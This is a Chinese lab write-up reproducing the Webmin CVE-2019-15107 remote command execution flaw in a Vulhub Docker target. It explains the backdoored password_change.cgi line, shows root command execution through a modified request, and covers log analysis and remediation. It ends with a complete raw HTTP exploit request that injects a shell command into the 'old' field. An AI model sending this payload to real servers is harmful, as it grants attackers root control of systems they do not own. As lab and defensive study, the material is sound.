CVE-2019-15107 Webmin远程命令执行漏洞复现 （文末EXP）
CVE-2019-15107 Webmin远程命令执行漏洞复现
1 环境搭建
1.1 Vulhub靶机搭建
1.1.1 环境安装
（1）安装docker
$ curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
（2）安装Docker-Compose
$ pip install docker-compose
#如果没有pip需要先安装
$ yum -y install epel-release
$ yum -y install python-pip
$ pip --version # 查看pip版本
（3）安装Vulhub
$ git clone https://github.com/vulhub/vulhub.git
#如果没有Git需要先安装
$ yum install -y git
1.1.2 靶场使用
1.输入systemctl start docker 启动docker
2.输入systemctl status docker 查看docker状态
3.选择对应靶场进入，这里我们选择webmin下的CVE-2019-15107靶场
4.输入docker-compose up -d 启动靶场环境
5.输入docker ps查看容器id
6.输入docker exec -it docker-id /bin/bash 进入容器，这里我们docker-id为b6b4fd4f2796
成功进入容器
7.在win10浏览器输入靶场ip查看是否启动成功
2 漏洞复现
2.1 影响版本
- Webmin<=1.920
2.2 漏洞原理
Webmin远程命令执行漏洞的主要成因是利用了修改密码功能，密码修改模块的源代码被人恶意植入后门代码，导致攻击者可以通过抓取登录时的数据包，通过改包来进行远程命令执行，危害之大，只要后台能运行的命令，攻击者都可以通过抓改数据包来进行远程命令执行，主要漏洞代码如下图：
漏洞主要是password_change.cgi中的大概第37-45行间，被人在后面拼接了qx/$in{‘old’}/，qx 此函数是使用反引号执行系统命令的替代方法，所以将old字段中的语句当作系统命令执行了，并拼接到pass_error后，会送到数据包中。
主要漏洞逻辑是攻击者提交错误的密码修改数据，导致后台返回报错信息Failed to change password : The current password is incorrect，此时利用漏洞，将执行了命令的old字段拼接在Failed to change password : The current password is incorrect后一起返回。
以下为无漏洞的正常源码
2.3 漏洞复现及日志分析
2.3.1 漏洞复现
查看漏洞环境，cat /etc/webmin/miniserv.conf，查看passwd_mode=2，此时密码修改功能开启。
访问webmin页面
打开Burpsuite进行抓包
直接点击登录并抓包
可以看到此时是抓到了登录时的数据包，我们只需修改接口和字段，即可使用该漏洞。
将接口改为/password_change.cgi，将传输字段改为密码修改所需的字段，即user=&old=&new1=&new2=，需注意这里的user不可以是系统用户root，也可以直接套用EXP，修改完如下图：
此时old字段中是ls，即ls命令，点击GO
此时成功输出ls命令执行后的内容，我们查看whoami
可以看到是最高权限root，此时我们获得最高权限root，可以在服务器随意执行命令，漏洞复现成功。
2.3.2 日志分析
查看日志文件miniserv.log
可以看到/password_change.cgi的访问记录，但是没有显示异常字段，无法知道是正常业务还是攻击手段。
Root用户下history也无法看到执行的命令（下列命令都是自己在后台执行的，并非远程执行产生的历史记录）
3 整改建议
1.找到漏洞代码，将,qx/$in{‘old’}/)代码删除
2.下载最新版本webmin
EXP
POST /password_change.cgi HTTP/1.1
Host: ip:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: https://ip:10000
Connection: close
Referer: https://ip:10000/session_login.cgi
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Upgrade-Insecure-Requests: 1
user=rootxx&old=ls&new1=test2&new2=test2